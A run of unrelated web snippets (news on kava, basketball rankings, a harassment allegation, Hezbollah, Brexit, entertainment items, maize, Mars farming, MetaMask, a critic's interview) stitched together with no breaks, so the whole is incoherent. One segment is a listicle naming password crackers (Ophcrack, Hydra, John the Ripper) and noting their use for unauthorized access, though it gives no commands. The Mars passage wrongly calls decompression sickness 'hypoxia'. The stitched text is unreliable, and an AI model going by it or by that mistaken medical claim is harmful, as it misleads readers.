Exports were slashed overnight, although subsequent tests have suggested that the problems could lie with the use of ethanol or acetone to extract the active ingredient from the plant and the use by some manufacturers of parts other than the roots.
Despite the controversy, kava extracts have been gaining in popularity in the United States, and in recent years a number of fashionable kava drinking lounges have opened there.
But the debate means little to the kava drinkers at Salelologa market.
In the first AP Top 25 for college basketball of the 2014-2015 season, Thad Matta's Buckeyes will begin the season ranked No. 20. Preseason Big Ten favorites Wisconsin are very highly ranked as expected, all the way up at No. 3. Michigan State checks in at No. 18, with Tim Miles' Nebraska Cornhuskers just after the Buckeyes at 21, and John Beilein's Wolverines at No. 24.
Two of the Buckeyes' biggest name opponents of the season, North Carolina and Louisville, both open 2014-15 in the Top 10. Roy Williams' Tar Heels start the season No. 6 while Rick Pitino's always dangerous Cardinals are No. 8.
Here's the complete inaugural 2014-15 AP Top 25:
Five employees of the NBC show confirmed the incident and Trump's reaction to the news outlet, and said Busey was allowed to stay on the show.
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The NBC employees, as well as the alleged victim, told the publication that Busey “grabbed” the female employee “firmly between [the] legs” and also put her hand on the crotch of his pants.
They said the incident occurred while taking a break prior to filming in New York City during “Celebrity Apprentice” in 2011.
“We were smoking cigarettes outside, and Busey was standing next to me. And then at one point, he grabbed me firmly between my legs, and ran his hand up my stomach, and grabbed my breasts,” the alleged victim told the Daily Beast, with a request her name not be used because of non-disclosure agreements.
”I didn’t know what to do. So I made this joke that, ’Oh, I’ve never been sexually harassed by a celebrity before!’ Then he grabbed my hand and put it [over] his penis, and said, like, ‘I’m just getting started, baby.’”
Several staffers requested Busey to be removed from the show, but those who spoke to the Daily Beast said that when Trump found out about the incident, he laughed it off and permitted Busey to stay on the show. He eventually came in sixth place in the reality show competition.
The alleged victim said she didn’t continue to push about the incident in case her job was put at risk.
“I didn’t think I’d get hired again by the company if I said something like that [and pursued further action],” she said.
The accusation comes three days after Summer Zervos, a contestant on the fifth season of “The Apprentice,” held a press conference in Los Angeles claiming that Trump kissed and groped her at a Beverly Hills hotel in 2007.
Nearly a dozen women have come forward accusing Trump of sexual assault in the wake of the audio leak of 2005 comments the real estate mogul made bragging about making sexual advances on women without their consent.
Trump apologized for the comments and chalked them up to “locker room” banter. But he has categorically denied the sexual assault allegations.
The alleged Busey victim also noted that Trump said “gross things all the time” while she was on “The Apprentice” and said she wasn’t surprised by the wave of sexual assault allegations against him.
If anything, as Neil Irwin of The Times’s Upshot has noted, wages are a little higher than you’d expect from looking at the productivity and inflation numbers alone.
The problem of the middle-class squeeze, in short, may not be with how the fruits of productivity are distributed, but the fact that there isn’t much productivity growth at all. It’s not that a rising tide doesn’t lift all boats; it’s that the tide is not rising fast enough.
For those interested, Shawn Sprague has a good summary of the data at the Labor Department’s “Beyond the Numbers.” He shows conclusively that during this recovery we’ve endured a historically low labor productivity growth rate of 1.1 percent. By some estimates if productivity increases had kept pace with the mid-20th-century norm, l median incomes would be $40,000 higher than they are today.
If productivity itself is the problem, not distribution, radically different politics is demanded than we’re seeing today. If productivity is the problem, we need more dynamism, not less, more openness, not less, more growth-oriented policies, not more dirigiste and redistributive ones.
There are a few things government can do to help boost productivity: Increase market competition with more antitrust enforcement and fewer licensing regulations; admit more skilled immigrants; invest more in human capital; deregulate urban land usage back to the 2008 levels; introduce more market incentives into the low productivity sectors, like health care and education; fund more research into promising technologies like new energy storage systems.
Responsive Design, Responsively Illustrated.
January 2012
HTML/CSS + media queries (no images, no JS*) this is a simple interactive experiment with responsive design techniques.
Resize your browser to reveal just a handful of the kind of devices you should expect web pages to be viewed on. Each device illustration is rendered using the same basic HTML which adapts its appearance to the changing viewport size, representing different devices accordingly. This is achieved using media queries to apply different CSS rules for different sizes. This experiment is intended to illustrate the basic premise of responsive web design and the power of CSS to tackle it.
This is NOT a guide for the breakpoints for all layouts. Values here were chosen arbitrarily for a discreet set of devices, you should take a flexible approach with logical breakpoints to suit your content and design aesthetics. Put another way: We should not serve specific sites to specific devices based on detection of screen size.
*The only Javascript used is the excellent -prefix-free by Lea Verou and css3-mediaqueries.js by Wouter van der Graaf. Neither script is required to create this demo, but they help keep things tidy, negating the need for multiple vendor prefixes, while keeping the scope of browser support as wide as possible.
Young people are bemused, angry and resentful at the decision to leave the EU - which they largely blame on older generations, according to a new report.
The analysis by academics at the London School of Economics for the All Party Parliamentary Group on a Better Brexit for Young People said there was "deep concern" about the "negative impact" of last year's referendum vote.
The report based on the findings of 40 focus groups and a survey of more than 3,200 young people and adults found young people were concerned about the loss of opportunity as well as the impact on Britain's image as a tolerant, multicultural society.
"A significant majority express bemusement, anger, and resentment at the choice to leave the EU, which was made - in their view - primarily by older generations," the report said.
"Young people in our study are concerned about the negative impact of Brexit on multi-ethnic communities in terms of rising intolerance, discrimination and racism in British society and the decline of Britain's tolerant and multicultural image."
In contrast a "small minority" of young people in the study expressed optimism - either voicing pride in Britain, or suggesting Brexit was positive for the UK because it had motivated young people to become less passive.
The all-party parliamentary group chair, Labour MP Stephen Kinnock, said he hoped the report would be the catalyst for a "national conversation" on Brexit.
Last spring, we heard the news that Drew Barrymore and Timothy Olyphant, two very charming people, would star as a married couple in a Netflix show about suburban life called Santa Clarita Diet. The plot description mentioned that “Sheila [Barrymore] goes through a dramatic change sending their lives down a road of death and destruction … but in a good way,” which seemed to refer to the fact that she adopts a hip lifestyle or possibly gets into musical improv. This is not the case. In Drew Barrymore’s Netflix show, Drew Barrymore eats people.
Jezebel first picked up that something was amiss yesterday, citing a few tabloid ads for the show that feature Drew hawking a very bloody finger smoothie. But USA Today got a better sense of the story in an interview with Barrymore herself. “The ‘dramatic change’ Sheila undergoes in the series opener is, in fact, death,” USA writes. “And while they tend to their open houses and teenage daughter, the couple must sate Sheila’s unbridled id and undead hunger, first with raw meat and, eventually, the human kind.”
Photo: Netflix
Barrymore’s incipient zombiism then turns into a whole finding-your-truth metaphor for the character, in an Eat, Pray, Blood sort of way. “We do this sort of Cro-Magnon type of evolution with her over the course of the 10 episodes. No gimmicks, no prosthetics, just an awakening,” Barrymore told USA Today. “I just really enjoyed shedding a snakeskin with her, so it became a really fun obstacle that I wasn’t even planning for but seemed so conducive and fun and healthy for my own life.” No word on whether that means the actress actually chowed down on brains for the sake of art.
Creator Victor Fresco (of the wacky Better Off Ted, which is a sign we probably should’ve been more suspicious earlier) added that the cause of Barrymore’s character’s death and rebirth isn’t clear, at least in the pilot. “Presumably, she has been exposed to something — although we don’t know what — which is making her feel a bit off,” Fresco said.
To confirm the news that you will soon have the ability to watch the star of Never Been Kissed shove a few limbs in her kisser, here is a Santa Clarita promo still that Netflix added to its site today.
Santa Clarita Diet Photo: Erica Parise/Netflix
The Syrian regime is also reportedly building up its forces in the area, located between Damascus and Homs, Syria’s third largest city to the north.
Hezbollah last spring helped the Syrian regime retake the town of Qusair on the border with Lebanon. Hezbollah said it interfered to “protect” Shiite Lebanese people living in the border area with Lebanon against alleged attacked by the armed Sunni rebels.
Hezbollah also justifies his involvement in Syria with the need to protect Shiite religious sites.
Infographic: Hezbollah troops in for anticipated battle. (Design by Farwa Rizwan/ Al Arabiya News)
The Damascus-based Abu al-Fadl al-Abbas brigade, a close Hezbollah ally, said it will take part in the expected Qalamoun battle as a response to a recent attack on its headquarters in the capital’s Shiite district of Sayeda Zeinab.
Abbas’s brigade mainly constitutes Iraqis Shiite fighters who have been fighting alongside Assad’s army for months.
Many of the Syrian rebels who fled Qusair went to Qalamoun area and since then there has been talk that a joint Hezbollah and Syrian regime offensive was imminent.
But speculations about the battle have intensified ahead of the planned Geneva II peace conference. Another victory on the ground for President Bashar al-Assad is likely to strengthen his position in negotiations.
The London-based Asharq al-Awsat reported that both the United States and Russia, the main backers of the Geneva II conference, are trying to prevent al-Qalamoun battle form happening.
The newspaper quoted an unnamed Western diplomat as saying that the Syrian regime is pushing for the battle because “it does not want the Geneva conference to take place.”
“Assad now thinks that he has passed the danger, therefore, he is not ready to make concessions in Geneva II,” the diplomat said, adding that opposition Jihadist groups, like Assad, also refuse the talks.
A heavy military confrontation in Qalamoun is likely to have significant repercussions on the neighboring Lebanon, with observers predicting that thousands of refugees could flee across the border.
Hezbollah, which was once applauded by both Sunnis and Shi'ites for its battles against Israel, has lost support from many Sunnis since it started supporting Assad in Syria’s ongoing civil war.
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Asked whether he has ever been confused by any of the stories or time lines, the actor seemed to suggest that his Doctor will meet his end on the dreaded fields of Trenzalore.
He answered, “No, because it’s my job to make sense of it and to make sense of it for you. Hey, look, I guess some people find the writing and the storytelling complicated sometimes, but I say to that, ‘Isn’t that better than it being really easy?’ Isn’t it better if you’re like, ‘OK, I just saw that – what did I just see?’
“Eventually Steve [Moffat] peppers it back – you think now we’re going toward the Doctor’s final hour, which is toward Trenzalore. Steven mentioned that in season five. Season five! The Silence was mentioned! He peppers this brilliant storytelling all the way through, and for my money that’s a much more interesting way to write. Aren’t all the layers what we fans of sci-fi want? I’m like, ‘Cool, throw it at me.’ Is it complicated? Yes. Are we going back in time? Yes. Are we going forward in time? Yes. Are we meeting a character we’ve met in the future? Yes. Is she my wife? Yes.”
So, it appears that series seven finale The Name of the Doctor wasn’t the last time we go to Trenzalore – revealed to be the final resting place of the Doctor – before his ultimate demise.
Smith, talking to Vulture, also revealed what it was like flying the Tardis with David Tennant and John Hurt in the 50th anniversary special.
“Our first scene was on the Tardis!” he says. “It was me, David, and John [Hurt] actually, and we were flying the Tardis. I remember saying to Dave, ‘Dave, I don’t want to hog all the flying duties.’ Literally, you have those conversations. Seriously, I went, ‘Do you want to fly it for a bit?’ We all flew it. He flies his.”
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Writer(s): Jon Lucas, Scott Moore
Cast: Zach Galifianakis, Bradley Cooper, Ed Helms and Heather Graham
Awards: Golden Globe Winner Best Motion Picture
COMING TO THE ATHENA FRIDAY, SATURDAY AND SUNDAY, FEBRUARY 8TH-10TH.
A blowout Las Vegas bachelor party turns into a race against time when three hung-over groomsmen awaken after a night of drunken debauchery to find that the groom has gone missing, and attempt to get him to the alter in time for his wedding. In 48 hours, Doug is scheduled to walk down the aisle, effectively ending his reign as a rowdy bachelor. Realizing that this is their last blowout with their best friend, Doug’s groomsmen organize a Sin City bachelor bash he’ll never forget. The next morning, the groomsmen come to in their Caesar’s Palace suite to find a tiger in the bathroom and a six-month-old baby tucked away in the closet. Unfortunately, Doug is nowhere to be found. With no memory of the previous night’s transgressions and precious little time to spare, the trio sets out in a hazy attempt to retrace their steps and discover exactly where things went wrong. Will they find Doug in time to get him to the wedding back in Los Angeles, or will his bride experience the sharp sting of disappointment when she walks down the aisle to discover that her future husband is nowhere to be found?
The annual maize output is around 677 million tonnes. The main producer is the USA, which produces around 41 per cent of this. The quantity of maize produced in the EU, consisting of 189 million tonnes of green and silage maize and 53 million tonnes of grain maize, is sufficient to meet the EU’s own requirements (without the accession countries).
Maize was first cultivated several thousand years ago and there are now more than 3000 cultivated species. Over time several main species have emerged, however, which differ mainly in the properties of the maize kernels. Flint maize has a hard kernel with a round shape. This species was discovered by Columbus in Central America and was also widespread in the Caribbean at this time. From there, the flint maize found its way to Europe, Asia and Africa. Another maize species besides flint maize is dent maize, which is characterised by a soft, floury endosperm between the hard, horny outsides of the grain. This maize species, as well as hybrid varieties produced from flint maize and dent maize, play the most important role in the economy today. Popcorn is a variant of flint maize. Popcorn was cultivated by the American Indians, making it one of the oldest cultivated maize varieties. Today maize is also cultivated and optimised using genetic engineering. Genetically modified maize varieties can be found mainly in the USA, Argentina and Canada.
Around 70 per cent of maize cultivated in Germany is used in animal feed. The remaining 30 per cent is processed further in the food industry to create various products. The most well-known and most important are grain maize, where the maize kernels are separated from the maize cob (preserves), corn starch (cornflour), glucose syrup, maize germ oil, cornflakes, popcorn, polenta, puffed maize snacks and maize paper (including cigarette paper).
The largest quantities of maize are processed and consumed in the USA (around 32% of world output), followed by China (20%), Brazil (5.8%) and Mexico (3.9%). Only a very small proportion of the maize output is traded on the international markets, since the largest proportion of the maize produced is consumed directly in the country of origin. Maize is exported primarily to Latin America and Africa. The Middle East and Asia are also important importers of maize. In Asia the primary importers are Japan, South Korea and Taiwan.
What is password cracking :-
In the cryptanalysis and computer security, password cracking is the process of recovering password
from storage location or from data, transmitted by a computer system on network.The purpose of
password cracking should be to help of someone user to recover a forgotten password and password
cracking tools are also used for unauthorized access.
Despite this One of the biggest security loop holes are passwords. If your password is week, it may got cracked by an unauthorized user or a hacker.There are many best password cracking software’s available on the internet. Most of password cracking tools employ a mixture of cracking strategies, algorithm with brute force and dictionary attacks proving to be most productive.The major problem for a beginner who want to become an ethical hacker is the selection of ethical hacking tools.Use of unknown tools may hack your own system because they may contain malicious codes and viruses. So beware of these fake malicious hacking software’s available on the internet. So today here in this article I am going to tell you the top 3 password cracking software. In upcoming days i am going to post many articles related to best password cracking tools. so stay tuned.
Read also ==>
Top 3 password cracking software
For a security specialist the most important thing is the toolkit which should contain most effective critical items .So today we are going to know the top 3 password cracking software’s. So lets get started
1. Ophcrack
Ophcrack is a free Windows password cracker tool based on rainbow tables.If you are searching for best password cracking software for window 7,8 then go for ophcrack It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a Graphical User Interface and runs on multiple platforms.
Features of Ophcrack
>Runs on Windows, Linux/Unix, Mac OS X, …
» Cracks LM and NTLM hashes.
» Free tables available for Windows XP and Vista/7.
» Brute-force module for simple passwords.
» Audit mode and CSV export.
» Real-time graphs to analyze the passwords.
» LiveCD available to simplify the cracking.
» Dumps and loads hashes from encrypted SAM recovered from a Windows partition.
» Free and open source software (GPL). source ….credits–>ophcrack
Download–>
To download this useful password cracking tool ophcrack, click here
Hydra
Hydra is a very fast & effective best network logon cracker software which support many different services. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.
hydra is available for many platforms such as Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX .
Download–>
to download hydra v8.1, click here
John the Ripper
It is the popular fast password cracker software which is most often used to detect weak Unix passwords. It supports many platforms such as, Unix, Windows, DOS, BeOS, and OpenVMS. John the Ripper is free and Open Source software, distributed primarily in source code form.
John the Ripper is part of Owl, Debian GNU/Linux, EnGarde Linux, Gentoo Linux, Mandriva Linux, and
SUSE Linux. It is in the ports/packages collections of FreeBSD, NetBSD, and OpenBSD
Download–>
To download John the Ripper,click here
Conclusion
Today we learned about top 3 best password cracking software’s . Hope you like these cracking tools. Share this article on Facebook twitter and other social networking sites and do follow us more password cracking tools.
If you have any queries or doubts regarding this article, then put your queries into the comment box.
Note:-
This article is only for educational purpose | we are not responsible for any damage or misuse | use it at your own risk
So, which password cracking software or tool will you prefer?
Toni G ... assistant makeup artist (segment "The Missing Ingredient") (as Toni G.)
Don Malot ... assistant hair stylist (segments "The Man from Hollywood", "The Misbehavers") / assistant makeup artist (segments "The Man from Hollywood", "The Misbehavers")
Anna Marco ... key makeup artist/hair: Salma Hayek (segment "The Misbehavers") / makeup artist
Barbara Olvera ... assistant hair stylist (segment "The Missing Ingredient")
Orlando ... hair stylist: Madonna
Ermahn Ospina ... key hair stylist (segments "The Man from Hollywood", "The Misbehavers") / key makeup artist (segments "The Man from Hollywood", "The Misbehavers")
Michael Pachal ... key hair stylist (segments "The Missing Ingredient", "The Wrong Man") (as Michael Ross)
Pamela Priest ... hair stylist: Bruce Willis
In the current state of Ethereum, there are many complicated issues. The technical challenges faced are vast and numerous, yet the community’s ability to troubleshoot and act decisively in the face of all these challenges is a testament to their resolve. For those just entering this space, it may seem daunting trying to play catch-up with all the tech advancements. Developers are building decentralized applications called Dapps, which offer the promise of a decentralized future with limitless potential. ICO's are the new crowdfunding venture in the crypto-verse and are pushing the boundaries of securitization, by raising millions of dollars in minutes.
For the everyday person, as they enter this tech amusement park, it's easy to get lost in a sea of technical jargon and mind dizzying crypto-vernacular. It’s easy to lose focus of the smaller, moving pieces that are crucial for widespread Ethereum adoption.
In reality, the vast majority of everyday internet users are people who have never heard of the blockchain and who might confuse Ethereum with the 2013 Sci-Fi movie featuring Matt Damon and Jodie Foster, "Elysium did you say?” Which is why the tools designed for accessing and utilizing the Ethereum blockchain in a painless and seamless manner are the ones that are the most exciting to those outside of the niche Ethereum industry.
MetaMask, a Google Chrome plugin "that allows you to run Ethereum Dapps right in your browser without running a full Ethereum node," is one of the user-friendly tools that’s bridging the gap between Ethereum users and the everyday internet users.
Dan Finlay, lead developer for MetaMask, explained:
"With MetaMask you have control of your account in your browser. You are not asking for permission from a server whose whereabouts are unknown to authenticate you. You can visit websites that are Ethereum enabled, and you'll be able to interact with the blockchain through that website's user interface. It gives you a self-sovereign identity and decentralized power."
In other words, MetaMask turns your Google Chrome browser into an Ethereum access point. It acts like a key that unlocks Ethereum websites and allows access to the Ethereum blockchain, all through a download of a Chrome extension.
Finlay also pointed out:
"Once you flip this identity paradigm in the browser and give the user control of their identity, you can build websites that don't need to manage their user accounts and instead can focus on just implementing the logic required to render the page. All the business logic can live on the blockchain as trustless, immutable and auditable."
Web sites are currently not auditable. You can't crack them open to see what's inside. The internet, today, requires blind trust in remote servers. Cookies are collected and used against the user by advertisers and publishers who wish to extract every piece of data they can to pilfer dollars from a user’s wallet at a later date (retargeting). Like it or not, this is the internet of today. Despite this, developers in the decentralized space are working hard to build the internet of tomorrow–a decentralized, Ethereum-based internet revolving around transparency.
Finlay mirrors this by saying:
"In a decentralized web things are out in the open. If it’s unencrypted then it’s there for everyone to see. If it's encrypted, then you know exactly who it’s encrypted for. This is a turn for the web that I think has a lot of potential. MetaMask enables that kind of web in a normal browser, so it's not a Dapp in itself, but it allows user interfaces for Dapps to be possible."
It's important to note that MetaMask is still in beta mode until a security expert audits their browser. But the implications of MetaMask signals a clear path in the right direction for building a more open, decentralized web. An auditable web experience coupled with sovereign identity management tools, all backed by a trustless and immutable blockchain is precisely the kind of internet landscape Ethereum is striving to create.
Grab Your Wallet’s website has a special list of “Top Ten Companies We’re Boycotting.” One of the entries on that list is Amazon, whom they seem particularly interested in targeting. This gives the boycotters some measure of cognitive dissonance, as elsewhere on the site they wrestle with the potentiality of boycotting even the Washington Post, a newspaper that is often considered extremely liberal. The Post is owned by Amazon CEO Jeff Bezos.
Apparently, Grab Your Wallet took a poll of its membership to see if they should boycott the Post. According to them, “58 percent of #GrabYourWallet participants said WaPo should not be added to the list.”
That’s a surprisingly close call. Somehow nearly half of these e-commerce terrorists think WaPo is part of the Trump industrial complex. Wow.
Anyway, there are tons of Ivanka Trump products available on Amazon, and you can thank Bezos for not caving to threats by purchasing some for yourself or a loved one. (It is almost Valentine’s Day after all).
Ivanka Trump Eau de Parfum Spray for Women, 3.4 Fluid Ounce — $41.29
Ivanka Trump Women’s Mandel Ankle Bootie — $95.99 to $160
Ivanka Trump Women’s Livi Boot — $46.99 to $179
Ivanka Trump Women’s Zipper Sweater — $78.99 to $79
Show your support for Ivanka Trump and her products by shopping for her stuff at Amazon. It’ll drive liberals crazy. It’s also worth noting that a bunch of her products have poor customer ratings, as anti-Trump forces have gone and given negative reviews in an attempt to squash the Trump brand. Despicable.
Ivanka Trump store on Amazon
Have a suggestion for a cool product or great deal that you think Daily Caller readers need to know about? Email the Daily Dealer at dealer@dailycaller.com.
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Now that we have an idea of what we might want to grow and how we could grow it, let's take a look at the physical side of our farm on Mars.
Growing food on Mars presents several significant challenges. While research on the International Space Station suggests plants can grow in microgravity, we don't really know how the reduced gravity on Mars might affect Earth crops. Several issues need to be studied and explored, most of which can be done, and in some cases has already been done, here on Earth, including:
​lighting
atmospheric pressure
CO 2 content,
content, oxygen levels, and
radiation protection
Lighting
Mars surface only receives about half the sunlight Earth does, and any pressurized greenhouse enclosure will block the sunlight even more. That means the natural light source will have to be supplemented by artificial sources​.
And that means that farming on Mars will take a lot of power.
D. Marshall Porterfield, Life and Physical Sciences division director at NASA's Human Exploration and Operations Mission Directorate. NASA has been studying how to use lower energy LED lighting to give plants the wavelengths of light they need to boost efficiency - and only those wavelengths.
It's not trivial.
As Porterfield said:
In terms of the systems engineering required, it's not an insignificant challenge.
The good news is that LED lighting is becoming a common practice in self-enclosed growing containers like ​Freight Farm's LGM 2105 hydroponic growing system.
And that means the energy requirements can be easily calculated and planned for in any settlement design.
Environmental Pressure
Since the greenhouse will be a self-contained enclosure, do we really need to keep it at the same atmospheric pressure we have here on Earth?
Researchers have been studying whether plants can survive under different pressures than normally found at sea level here on Earth. We don't want higher pressure, though -- the more pressure inside a greenhouse, the more massive that greenhouse must be to contain it.
But what about lower pressures?​
As Robert Ferl, director of the Interdisciplinary Center for Biotechnology Research at the University of Florida said:
You don't have to inflate that greenhouse to Earth-normal pressure in order for plants to grow. Maintaining a full atmosphere of pressure is difficult on a planetary surface. You can take plants down to a tenth of an atmosphere and they'll still function.
But what happens to the gardeners at pressures that low?
With one-tenth normal atmospheric pressure , humans may need to wear some sort of environmental suit to protect themselves. A lower pressure also means the greenhouse will need to be sealed off from the crew's living quarters, meaning airlocks and all the complexities that implies.
As Taber MacCallum, chief executive officer of Paragon Space Development Corp., said
Gardening in a pressure suit is going to be a real trick.
But would a pressure suit really be necessary? Perhaps a biosuit would be enough.
The Armstrong Limit, named after the founder of the US Air Force's Department of Space Medicine Harry George Armstrong, is the lowest pressure a human body can withstand before the water in our blood starts to boil -- about 6.6% normal atmospheric pressure.
That means we could survive in the low pressure environment Ferl discribes -- one-tenth normal atmosphere -- At least for short periods of time. We would need some sort of breathing apparatus, though, since the oxygen level would be so low, but it could be done.
We might also be in danger of hypoxia -- at least if no pre-breathing is done before entering the farm.
NOTE: Hypoxia can occur when the human body undergoes rapid changes in environmental pressure, like when astronauts get into a space suit. Or when divers surface too quickly. The change in pressure causes the nitrogen to boil, creating 'bubbles' in the blood and bursting blood vessels -- the 'bends'. It's why astronauts 'pre-breathe' before space walks or divers pause and acclimate before surfacing. Pressures need to equalize slowly enough for the body to adapt.
A better choice, therefore, may be to raise the pressure in our farm high enough that gardeners could comfortably operate without an environmental suit, or even a biosuit.
Perhaps an atmosphere of about 50% Earth normal - about the same as the top of Mount Everest.
That would still offer benefits to the plants, while minimizing issues for the farmers.​
Studies on this issue still need to be done to find the best option for a farm on Mars.​
CO 2 Content
We all know that carbon dioxide is critical to plant growth and development. Photosynthesis, the process through which plants use light to create food, requires it.
On earth, normal CO 2 levels range from 300-500 parts per million (ppm). If you are growing in a greenhouse, though, those levels will be decrease as the plants use it up during photosynthesis.
In a closed environment, therefore, CO 2 needs to be constantly reintroduced in order to maintain optimal levels. Luckily, there is plenty of CO 2 on Mars. If we don't get enough from simply breathing, we can always tap into air outside (Mars' atmosphere is 95% CO 2 )
But, for growing plants, we need to ask ourselves if maintaining this level of CO 2 is the best we can do. What if we increased it?
Experiments have been done that show increasing the CO 2 to three to four times the 'normal' level is actually quite beneficial for growing plants -- up to 1500 ppm,
With CO 2 maintained at this level, yields can be increased by as much as 30%!
Commercial greenhouses know this, which is why they use CO 2 generators to increase their production.
But what does that do to the gardeners?
1,500 ppm is not a problem for people. Humans can tolerate CO 2 levels up to about 10,000 ppm -- the equivalent of 1% concentration, as explained in this report from Inspectapedia, before they start to feel a little drowsy or light-headed.
​NOTE: 1,000,000 ppm of a gas = 100% concentration, so 10,000 ppm = 1%
Most people won't even be aware of the increased levels until the concentration hits 20,000 ppm, or 2%. At these levels, you might experience a heaviness in the chest and find it hard to breathe.
After a few hours, you could start to develop "acidosis" -- an acid condition in the blood, which, if not treated, could cause death.
But it isn't until a 5% concentration is reached that ​CO2 becomes directly toxic.
Luckily, our greenhouse will never need to reach concentration levels that high, but even at 1,500 ppm -- about 0.15%​ -- it would be prudent for workers who tend the farm over long periods to have breathing gear.
Oxygen
One thing most people don't think about in greenhouse operation is the concentration level of oxygen in the air.
Although we die of anoxia when oxygen levels drop below 11 percent, too little oxygen is not really the problem for a farm on Mars.
It's having too much oxygen.
Like carbon dioxide, t​oo much oxygen will kill you. It's a gradual effect -- in a high oxygen environment you will, over the course of a few days, develop an inflammation of the lungs and eventually die.
But it's not just the effect a oxygen-rich environment has on your body. The more immediate impact is the increased likelihood of fire.
It's one of the things MIT studies pointed to as a reason Mars One plans are technically flawed.
In their argument, oxygen levels rose quickly above safe levels​ and would require the introduction of nitrogen to sustain normal levels. This would quickly deplete the nitrogen that was brought with the colonists.
You can't just simply vent the oxygen. That would also vent the nitrogen.
And you need the nitrogen to maintain ​a 'safe' oxygen level that doesn't make fire such a risk.
So what's a high level? How much oxygen is 'unsafe'?
While normal atmosphere contains between 20.8 and 21 percent oxygen, ​OSHA, the US government's Occupational and Safety Health Agency, defines as oxygen deficient any atmosphere that contains less than 19.5 percent oxygen, and as oxygen enriched, any atmosphere that contains more than 22 percent.
As stated on their web site:​
Oxygen-deficient atmospheres may be created when oxygen is displaced by inerting gases, such as carbon dioxide, nitrogen, argon, or the ship's inert gas system or firefighting system. Oxygen can also be consumed by rusting metal, ripening fruits, drying paint, or coatings, combustion, or bacterial activities. Oxygen-enriched atmospheres may be produced by certain chemical reactions. Oxygen enriched atmospheres present a significant fire and explosion risk.
The plants don't really care, and humans can survive in an oxygen-enriched environment. Again, the problem is the fire risk.
We will need to find a local source of nitrogen on Mars (or possibly some other inert gas - deep sea divers use helium) or develop a way to separate the nitrogen from the air and reuse it.
Radiation
As in all aspect of Martian life, farmers and plants must also contend with the issue of radiation. Mars lacks Earth's thick protective atmosphere, so particles from space reach its surface that would be damaging to both people and plants.
Some kind of shielding or mitigation will be necessary.
As Taber MacCallum from Paragon Space Development Corp. commented:
To maintain the infrastructure is the expensive part to grow plants, coupled with the need for redundancy if something fails.
The winner of NASA's recent 3D Printed Hab Design Contest had a novel approach. They proposed building a habitat out of martian ice. Not only would that provide light during the day, it would also provide a thick layer of radiation protection.
That's one way to do it. But are there others? Could you bury the hab -- and the greenhouse?
We started the day/afternoon (don’t ask why) with a hearty breakfast. Then it was off for an afternoon/evening of gaming and just generally having a great time before the action started with the kick-off party for CES, sponsored by Patriot Memory and Gigabyte.
Here we have a few of the games we enjoyed. This was not about winning or losing, it was about having a good time. However, several of us did win prizes.
Of course, there was some fierce competition on the air hockey table!
Patriot showed its memory line-up that features its Viper and Viper II Series products. Following up that, you have the Valkyrie NAS box, the Patriot Box Office media player and the Gear Box mini NAS. Patriot also showed off its SSD line-up, which includes the new Inferno drives. Flash memory is also something that Patriot is marketing, including its Bolt and Magnum thumb drives.
Last, but not least, we had a great view of the Las Vegas skyline!
Dargis' "fuck them" - the first of several - refers specifically to a fact she highlighted in her piece this weekend on the lack of progress in Hollywood films for and about women: Two major studios, Paramount Pictures and Warner Brothers Pictures, didn't release a single movie directed by a female, even in a year of renewed prominence for women in film. One bright spot: The Hurt Locker by Kathryn Bigelow (pictured above) is sweeping the early critics' awards: in the past two days alone she and her film have gotten top accolades from the Los Angeles Film Critics Association, the Boston Society of Film Critics, the American Film Institute, The New York Film Critics Online, and the Alliance of Women Film Journalists.
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In a wide-ranging conversation this morning on women in Hollywood, Dargis, who has been a chief New York Times film critic (a title she shares with A.O. Scott) since 2004, had similarly strong words for Hollywood conventional wisdom and the studio system overall. "My tendency is not to talk in sweeping terms, but one thing I can say in sweeping terms is that there's a lot of sexism in the industry," she says. Here are some of the other highlights from the conversation.
On why women in Hollywood aren't faring any better: This business is really about clubby relationships. If you buy Variety or go online and look at the deals, you see one guy after another smiling in a baseball cap. It's all guys making deals with other guys. I had a female studio chief a couple of years ago tell me point blank that she wasn't hiring a woman to do an action movie because women are good at certain things and not others. If you have women buying that bullshit how can we expect men to be better?
On working within the system: For me the most sobering thing of the last ten years is that there really was a point where four of the studios were run by women… and you would have thought that would lead to an uptick of women directors. I'm not saying I've done a systematic analysis, but it doesn't look like it changed very much… Working within the system has not worked. It has not helped women filmmakers or, even more important, you and me, women audiences, to have women in the studio system. … I think the studio system as it exists now is a no-win situation for women filmmakers.
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On director Kathryn Bigelow's success (achieved in part by getting funding outside of Hollywood, detailed in Dargis's June profile of her): Something like a woman winning best director for directing an action movie and not a romantic comedy is symbolically important. Whether it then leads to a lot of women doing things outside of the pathetic comfort zone of romantic comedy – and I say that as someone who loves romantic comedy – we'll see. We know that because women are allowed to make romantic comedies that they can make romantic comedies. That's in everyone's comfort zone. The idea that a woman can be a great action director is not is everyone's comfort zone. That's [Bigelow's] exceptionalism.
On Bigelow's chances for Oscar or future commercial success: The only thing Hollywood is interested in money, and after that prestige. That's why they'll be interested in something like The Hurt Locker. She's done so well critically that she can't be ignored.
Let's acknowledge that the Oscars are bullshit and we hate them. But they are important commercially... I've learned to never underestimate the academy's bad taste. Crash as best picture? What the fuck.
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On male and female directors being held to different standards, as Dargis suggested in comparing Bigelow and Michael Mann in her piece: Do you think that a woman would have been able to get forty million dollars to make a puppet movie the way that Wes Anderson has been able to make, bringing to bear all the publicity and advertising budget of Fox? After two movies that didn't make a lot of money? I think this is true for a lot of black filmmakers too – they're held to a higher standard. And an unfair standard. You can be a male filmmaker and if you're perceived as a genius – a boy genius or a fully-formed adult genius – that you are allowed to fail in a way that a woman is not allowed to fail.
On whether there's an essential difference between male-made and female-made movies: Flaubert wrote Madame Bovary. That's all we need to say about that. But I do think as 51 percent of the population we should be given a chance… It's very boring to watch the same people coming from a certain kind of background make the same kinds of movies.
On Nancy Meyers and Nora Ephron: I personally don't think either of them is a good filmmaker — they make movies for me that are more emotionally satisfying but with barely any aesthetic value at all. I really like Something's Gotta Give, but I don't think it's a good movie…. I'm of two minds. Sometimes I think what women should do what various black and gay audiences have done, which is support women making movies for women. So does that mean I have to go support Nora Ephron? Fuck no. That's just like, blech.
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On Sandra Bullock, whom she recently wrote should use her production company to "start giving female filmmakers a chance to do something other than dopey romances": Use your power for good, Sandy!
